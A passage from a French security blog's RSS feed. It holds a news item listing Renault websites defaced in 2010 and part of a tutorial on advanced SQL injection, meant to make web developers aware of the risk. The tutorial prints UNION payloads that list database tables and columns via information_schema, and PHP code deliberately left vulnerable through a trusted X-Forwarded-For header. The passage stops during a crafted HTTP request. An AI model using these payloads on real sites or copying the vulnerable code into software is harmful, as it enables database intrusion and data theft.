	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&amp;title=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29&amp;selection=Apr%C3%A8s%20les%20deux%20premiers%20tutoriaux%20au%20sujet%20des%20attaques%20de%20type%20SQL%20Injection%2C%20le%20billet%20d%27aujourd%27hui%20sera%20d%C3%A9di%C3%A9%20%C3%A0%20un%20vecteur%20d%27attaque%20un%20peu%20particulier%2C%20si%20vous%20ne%20connaissez%20pas%20les%20principes%20d%27une%20injection%20sql%2C%20je%20vous%20invite%20vivement%20%C3%A0%20l" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&amp;title=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&amp;submitHeadline=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29&amp;submitSummary=Apr%C3%A8s%20les%20deux%20premiers%20tutoriaux%20au%20sujet%20des%20attaques%20de%20type%20SQL%20Injection%2C%20le%20billet%20d%27aujourd%27hui%20sera%20d%C3%A9di%C3%A9%20%C3%A0%20un%20vecteur%20d%27attaque%20un%20peu%20particulier%2C%20si%20vous%20ne%20connaissez%20pas%20les%20principes%20d%27une%20injection%20sql%2C%20je%20vous%20invite%20vivement%20%C3%A0%20l&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&amp;title=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html&amp;title=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=SQL%20injection%20avanc%C3%A9e%3A%20Blind%20SQL%20injection%20%28partie%203%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fsql-injection-avancee-blind-sql-injection.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/hacking/sql-injection-avancee-blind-sql-injection.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Le réseau des sites web Renault piraté</title>
		<link>http://www.mcherifi.org/hacking/renault-hacked.html</link>
		<comments>http://www.mcherifi.org/hacking/renault-hacked.html#comments</comments>
		<pubDate>Wed, 19 May 2010 01:18:29 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[renault defaced]]></category>
		<category><![CDATA[renault hacked]]></category>
		<category><![CDATA[renaut piraté]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=702</guid>
		<description><![CDATA[TweetLe réseau des sites web de la célèbre marque Renault, l&#8217;un des plus grands acteurs du marché automobile, a été piraté lundi 17 mai 2010 par un groupe de hackers s&#8217;intitulant &#171;&#160;v4 Team&#160;&#187;. Ces derniers ont pu avoir accès sur le serveur principale hébergeant toutes les extensions des domaines renault y compris renault.co.ma.

Suite à cette [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/hacking/renault-hacked.html" data-text="Le réseau des sites web Renault piraté" data-count="horizontal">Tweet</a><p>Le réseau des sites web de la célèbre marque Renault, l&#8217;un des plus grands acteurs du marché automobile, a été piraté lundi 17 mai 2010 par un groupe de hackers s&#8217;intitulant &laquo;&nbsp;v4 Team&nbsp;&raquo;. Ces derniers ont pu avoir accès sur le serveur principale hébergeant toutes les extensions des domaines renault y compris renault.co.ma.</p>
<p><a href="http://www.mcherifi.org/wp-content/uploads/2010/05/renault.png"><img src="http://www.mcherifi.org/wp-content/uploads/2010/05/renault-280x300.png" alt="" title="Renault.co.ma piraté" width="280" height="300" class="aligncenter size-medium wp-image-703" /></a></p>
<p>Suite à cette attaque massive, 52 sites officiels de renault ont été défigurés, affichant un message &laquo;&nbsp;by Q8 H4&#215;0r renalut 0wn3d&nbsp;&raquo;, les attaquant semblent exploiter une faille au niveau du serveur IIS6 tournant sous Windows 2003.</p>
<p>Liste des sites piratés:</p>
<ul>
<li>renault.uz</li>
<li>www.renault.co.uz/v4.asp</li>
<li>renault.com.pk/v4.asp</li>
<li>www.renault.com.pr/v4.asp</li>
<li>www.renault.eu/v4.asp</li>
<li>renault.sg/v4.asp</li>
<li>www.renault.tg/v4.asp</li>
<li>www.nouveautes-entreprise.renault.fr/v4.asp</li>
<li>www.megane-hatch-fleet.renault.co.uk/v4.asp</li>
<li>empresas-novidades.renault.pt/v4.asp</li>
<li>megane-sport-tourer-empresas.renault.pt/v4.asp</li>
<li>www.scenic-empresas.renault.pt/v4.asp</li>
<li>www.nuevo-megane-sport-tourer-empresas.renault.es</li>
<li>renault.com.tj</li>
<li>renault.co.ma</li>
<li>www.renault.co.tt/x.asp</li>
<li>www.renault.cg/x.asp</li>
<li>www.renault.ec/x.asp</li>
<li>www.nouveau-scenic-entreprises&#8230;</li>
<li>www.renault.com.ly/x.asp</li>
<li>www.renault.mobi/x.asp</li>
<li>www.renault.my/x.asp</li>
<li>www.renault.com.py/v4.asp</li>
<li>renault.com.ro/v4.asp</li>
<li>www.renault.gen.in/v4.asp</li>
<li>renault.hn/v4.asp</li>
<li>renault.la/v4.asp</li>
<li>http://megane-estate-entreprises.renault.fr/v4.asp</li>
<li>http://nouveautes-entreprises.renault.com/v4.asp</li>
<li>renault.com.az/x.asp</li>
<li>www.renault.co.in/x.asp</li>
<li>renault.cm/x.asp</li>
<li>renault.gy/x.asp</li>
<li>www.renault.hk/x.asp</li>
<li>www.renault.mq/x.asp</li>
<li>www.renault.kg/x.asp</li>
<li>www.renault.sn/x.asp</li>
<li>www.renault.asia/x.asp</li>
<li>http://new-models-fleet.renault.co.uk</li>
<li>renault.co.th/x.asp</li>
<li>renault.com.pt/x.asp</li>
<li>renault.co.ve/x.asp</li>
<li>new-models-fleet.renault.co.uk</li>
<li>megane-sport-tourer-fleet.rena&#8230;</li>
<li>www.renault.biz</li>
<li>http://nueva-gama-empresas.renault.es/x.asp</li>
<p>renault.ht/x.asp</li>
<li>http://nuevo-megane-berlina-empresas.renault.es/x.asp</li>
<li>http://www.megane-berlina-empresas.renault.pt/x.asp</li>
<li>renault.bo/x.asp</li>
<li>nuevo-scenic-empresas.renault.es/x.asp</li>
<li>renault.vn/x.asp</li>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&d=http://twitter.com/home?status=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&d=http://www.facebook.com/share.php?u=TARGET%26t=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&amp;title=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9&amp;annotation=Le%20r%C3%A9seau%20des%20sites%20web%20de%20la%20c%C3%A9l%C3%A8bre%20marque%20Renault%2C%20l%27un%20des%20plus%20grands%20acteurs%20du%20march%C3%A9%20automobile%2C%20a%20%C3%A9t%C3%A9%20pirat%C3%A9%20lundi%2017%20mai%202010%20par%20un%20groupe%20de%20hackers%20s%27intitulant%20%22v4%20Team%22.%20Ces%20derniers%20ont%20pu%20avoir%20acc%C3%A8s%20sur%20le%20serveur%20principale" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&amp;title=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9&amp;notes=Le%20r%C3%A9seau%20des%20sites%20web%20de%20la%20c%C3%A9l%C3%A8bre%20marque%20Renault%2C%20l%27un%20des%20plus%20grands%20acteurs%20du%20march%C3%A9%20automobile%2C%20a%20%C3%A9t%C3%A9%20pirat%C3%A9%20lundi%2017%20mai%202010%20par%20un%20groupe%20de%20hackers%20s%27intitulant%20%22v4%20Team%22.%20Ces%20derniers%20ont%20pu%20avoir%20acc%C3%A8s%20sur%20le%20serveur%20principale" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&title=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&amp;title=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9&amp;bodytext=Le%20r%C3%A9seau%20des%20sites%20web%20de%20la%20c%C3%A9l%C3%A8bre%20marque%20Renault%2C%20l%27un%20des%20plus%20grands%20acteurs%20du%20march%C3%A9%20automobile%2C%20a%20%C3%A9t%C3%A9%20pirat%C3%A9%20lundi%2017%20mai%202010%20par%20un%20groupe%20de%20hackers%20s%27intitulant%20%22v4%20Team%22.%20Ces%20derniers%20ont%20pu%20avoir%20acc%C3%A8s%20sur%20le%20serveur%20principale" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&amp;title=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=Le%20r%C3%A9seau%20des%20sites%20web%20de%20la%20c%C3%A9l%C3%A8bre%20marque%20Renault%2C%20l%27un%20des%20plus%20grands%20acteurs%20du%20march%C3%A9%20automobile%2C%20a%20%C3%A9t%C3%A9%20pirat%C3%A9%20lundi%2017%20mai%202010%20par%20un%20groupe%20de%20hackers%20s%27intitulant%20%22v4%20Team%22.%20Ces%20derniers%20ont%20pu%20avoir%20acc%C3%A8s%20sur%20le%20serveur%20principale" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&amp;title=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&d=http://ping.fm/ref/?link=TARGET%26title=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9%26body=Le%20r%C3%A9seau%20des%20sites%20web%20de%20la%20c%C3%A9l%C3%A8bre%20marque%20Renault%2C%20l%27un%20des%20plus%20grands%20acteurs%20du%20march%C3%A9%20automobile%2C%20a%20%C3%A9t%C3%A9%20pirat%C3%A9%20lundi%2017%20mai%202010%20par%20un%20groupe%20de%20hackers%20s%27intitulant%20%22v4%20Team%22.%20Ces%20derniers%20ont%20pu%20avoir%20acc%C3%A8s%20sur%20le%20serveur%20principale" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&d=mailto:?subject=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&amp;title=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9&amp;selection=Le%20r%C3%A9seau%20des%20sites%20web%20de%20la%20c%C3%A9l%C3%A8bre%20marque%20Renault%2C%20l%27un%20des%20plus%20grands%20acteurs%20du%20march%C3%A9%20automobile%2C%20a%20%C3%A9t%C3%A9%20pirat%C3%A9%20lundi%2017%20mai%202010%20par%20un%20groupe%20de%20hackers%20s%27intitulant%20%22v4%20Team%22.%20Ces%20derniers%20ont%20pu%20avoir%20acc%C3%A8s%20sur%20le%20serveur%20principale" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&amp;title=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&amp;submitHeadline=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9&amp;submitSummary=Le%20r%C3%A9seau%20des%20sites%20web%20de%20la%20c%C3%A9l%C3%A8bre%20marque%20Renault%2C%20l%27un%20des%20plus%20grands%20acteurs%20du%20march%C3%A9%20automobile%2C%20a%20%C3%A9t%C3%A9%20pirat%C3%A9%20lundi%2017%20mai%202010%20par%20un%20groupe%20de%20hackers%20s%27intitulant%20%22v4%20Team%22.%20Ces%20derniers%20ont%20pu%20avoir%20acc%C3%A8s%20sur%20le%20serveur%20principale&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&amp;title=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html&amp;title=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=Le%20r%C3%A9seau%20des%20sites%20web%20Renault%20pirat%C3%A9&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Frenault-hacked.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/hacking/renault-hacked.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>[Tutoriel] &#8211; SQL Injection Avancée (Partie 2)</title>
		<link>http://www.mcherifi.org/hacking/se-proteger-contre-sql-injection-partie-2.html</link>
		<comments>http://www.mcherifi.org/hacking/se-proteger-contre-sql-injection-partie-2.html#comments</comments>
		<pubDate>Mon, 16 Nov 2009 01:24:12 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[bypasser filtre sql]]></category>
		<category><![CDATA[faille urlencode]]></category>
		<category><![CDATA[into outfile]]></category>
		<category><![CDATA[load_file]]></category>
		<category><![CDATA[mysql_real_escape_string]]></category>
		<category><![CDATA[protection sql injection]]></category>
		<category><![CDATA[securiser sql injection]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[tutorial sql injection]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=408</guid>
		<description><![CDATA[Tweet Me revoilà, comme promis avec la suite de cette série de tutoriaux, vous vous rappelez bien de l&#8217;épisode précèdent ? On avait parlé des injections SQL classiques, on a vu comment un attaquant pourra by-passer une identification, également comment ce dernier peut repérer une injection grâce aux messages d&#8217;erreurs et injecter des données depuis [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/hacking/se-proteger-contre-sql-injection-partie-2.html" data-text="[Tutoriel] - SQL Injection Avancée (Partie 2)" data-count="horizontal">Tweet</a><p><img alt="Advanced SQL Injection" src="http://easydownload.ru/uploads/posts/2009-04/1240341405_518053737_8a9794389e.jpg" title="Advanced SQL Injection" class="alignleft" width="212" height="120"/> Me revoilà, comme promis avec la suite de cette série de tutoriaux, vous vous rappelez bien de l&#8217;<a title="Tutorial SQL Injection" href="http://www.mcherifi.org/hacking/tutoriel-sql-injection-les-classiques.html">épisode précèdent</a> ? On avait parlé des <a title="Tutorial SQL Injection" href="http://www.mcherifi.org/hacking/tutoriel-sql-injection-les-classiques.html">injections SQL classiques</a>, on a vu comment un attaquant pourra by-passer une identification, également comment ce dernier peut repérer une injection grâce aux messages d&#8217;erreurs et injecter des données depuis la base de données!</p>
<p>Aujourd&#8217;hui on verra de plus prêt le danger réel que représente une injection SQL sur un site,  l&#8217;objectif est que tout développeur web aie conscience du risque encouru que resprésente une Injection SQL, je donnerai des exemples de code vulnérables, ce que peut faire un attaquant pour les exploiter, et comme toujours des solutions pour mieux sécuriser son code ;)</p>
<p>Savez vous qu&#8217;avec une injection SQL un attaquant peut:</p>
<ul>
<li>Récupérer les noms des tables et des champs et injecter des données sensibles</li>
<li>Injecter un paramètre dans une entête HTTP</li>
<li>Lire/Écrire dans un fichier et potentiellement exécuter des commandes système sur la machine distante</li>
</ul>
<h2>MySQL et information_schema</h2>
<p>Alors pour commencer, et comme j&#8217;avais dit dans l&#8217;article précèdent, on verra comment un attaquant pourra lister les noms des tables présentes dans votre base, ainsi que tous les champs!</p>
<p>En fait, information_schema est une base de données propre à mysql, elle existe depuis la version 5, et contient des informations sur tous les objets accessibles à l&#8217;utilisateur courant</p>
<p>Le problème c&#8217;est que dans mysql, information_schema est par default accessible à tous les utilisateurs! Du coup un attaquant peut lister les noms des tables et champs!</p>
<p>En reprenant l&#8217;exemple que j&#8217;avais donné dans le premier tutorial <small>(<em>Injecter des données depuis une table</em>)</small> , voici un bout de code qui permet de lister les noms des tables présentes sur une base!</p>
<pre class="brush: php">
profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database();--
</pre>
<p>Cette requête injectera le nom de la première table présente sur la base de données courante, à noter que database() est une fonction spécifique à mysql qui retourne le nom de la base de données en cours! Ainsi l&#8217;attaquant peut lister toutes les tables on rajoutant la clause LIMIT</p>
<blockquote><p>profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database(); LIMIT 1,1&#8211;<br />
// ou encore<br />
profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database(); LIMIT 2.1&#8211;</p></blockquote>
<h2>Injection des noms de champs</h2>
<p>Les noms des champs existe dans la table COLUMNS , un simple union peut permettre à un attaquant d&#8217;injecter ces derniers!<br />
// afficher le premier champ</p>
<blockquote><p>
profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=&#8217;users&#8217; &#8211;<br />
// afficher le troisième champ<br />
profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=&#8217;users&#8217; LIMIT 2,1&#8211;
</p></blockquote>
<h2>SQL Injection et les entêtes HTTP</h2>
<p>L&#8217;une parmi les erreurs que certains programmeurs commettent lors du développement d&#8217;une application, est le fait de faire confiance aux variables d&#8217;environnement et aux entêtes HTTP! Il ne faut jamais se contenter de filtrer GET/POST/COOKIE car ce n&#8217;est pas suffisant</p>
<p>Voici un exemple pour démontrer le risque encouru:</p>
<p><em>On considère un script de <em>rating</em>, permettant aux utilisateurs de voter une seule fois pour chaque sondage! Pour mettre en place un tel système, le script récupère l&#8217;adresse IP de l&#8217;utilisateur en prenant en compte l&#8217;utilisation d&#8217;un proxy (X_FORWARDED_FOR) avec la fonction suivante:</em></p>
<pre class="brush: php">function get_real_ip(){
return isset($_SERVER[&#039;HTTP_X_FORWARDED_FOR&#039;])
? $_SERVER[&#039;HTTP_X_FORWARDED_FOR&#039;]
: $_SERVER[&#039;REMOTE_ADDR&#039;];
}</pre>
<p>Le traitement se passe au niveau d&#8217;une page vote.php qui récupère la note et vérifie si l&#8217;adresse ip ne figure pas dans les ips ayant déjà voté pour le même article, si tout va bien le vote est enregistré, sinon un message d&#8217;erreur est affiché: « Désolé [IP] mais vous avez déjà voté pour l&#8217;article [toto] »</p>
<pre class="brush: php">
if(!empty($_POST[&#039;id&#039;]) &amp;&amp; !empty($_POST[&#039;note&#039;]))
{
$article_id = intval($_POST[&#039;id&#039;]);
$note = intval($_POST[&#039;note&#039;]);
$ip = get_real_ip();
$req = mysql_query(&quot;SELECT ip,titre FROM votes WHERE id = &#039;$article_id&#039; AND ip = &#039;$ip&#039;&quot;) or die(mysql_error());
if(mysql_num_row($req) &gt; 0){
$data = mysql_fetch_array();
echo &quot;Désolé &quot;.$data[&#039;ip&#039;].&quot; mais vous avez déjà voté pour l&#039;article &quot;.htmlspecialchars($data[&#039;titre&#039;])
}
else
{
// traitement ...
echo &quot;Merci pour votre vote&quot;;
}
}
</pre>
<p>Que se passe t&#8217;il si un attaquant envoie la requête HTTP suivante:</p>
<pre class="brush: html">
POST /vote.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
